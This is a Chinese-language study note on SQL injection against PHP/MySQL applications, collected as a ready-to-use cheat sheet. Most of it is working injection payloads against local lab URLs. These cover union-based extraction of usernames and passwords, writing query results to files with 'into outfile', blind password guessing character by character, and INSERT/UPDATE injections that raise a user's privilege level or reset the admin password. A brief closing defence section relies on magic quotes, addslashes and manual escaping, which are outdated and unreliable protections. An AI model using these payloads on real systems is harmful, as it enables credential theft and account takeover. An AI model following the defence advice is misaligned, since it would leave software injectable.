SQL注入的重點就是構造SQL語句，只有靈活的運用SQL
語句才能構造出牛比的注入字符串。學完之後寫了點筆記，已備隨時使用。希望你在看下面內容時先了
解SQL的基本原理。筆記中的代碼來自網絡。
===基礎部分===
本表查詢：
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
Union聯合語句：
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
導出文件：
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
INSERT語句：
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
構造homepage值為：http://4ngel.net', '3')#
SQL語句變為：INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');
UPDATE語句：我喜歡這樣個東西
先理解這句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式，就實現了注入
1：修改homepage值為
http://4ngel.net', userlevel='3
之後SQL語句變為
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel為用戶級別
2:修改password值為
mypass)' WHERE username='admin'#
之後SQL語句變為
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3：修改id值為
' OR username='admin'
之後SQL語句變為
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
===高級部分===
常用的MySQL內置函數
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函數應用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相當於angel，十進制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
確定數據結構的字段個數及類型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
猜數據表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members
跨表查詢得到用戶名和密碼
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
其他
#驗證第一位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
===注入防范===
服務器方面
magic_quotes_gpc設置為On
display_errors設置為Off
編碼方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
數值類型
使用intval()抓換
字符串類型
SQL語句參數中要添加單引號
下面代碼，用於防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函數
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
參考文章：
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html（MYSQL語句參考）
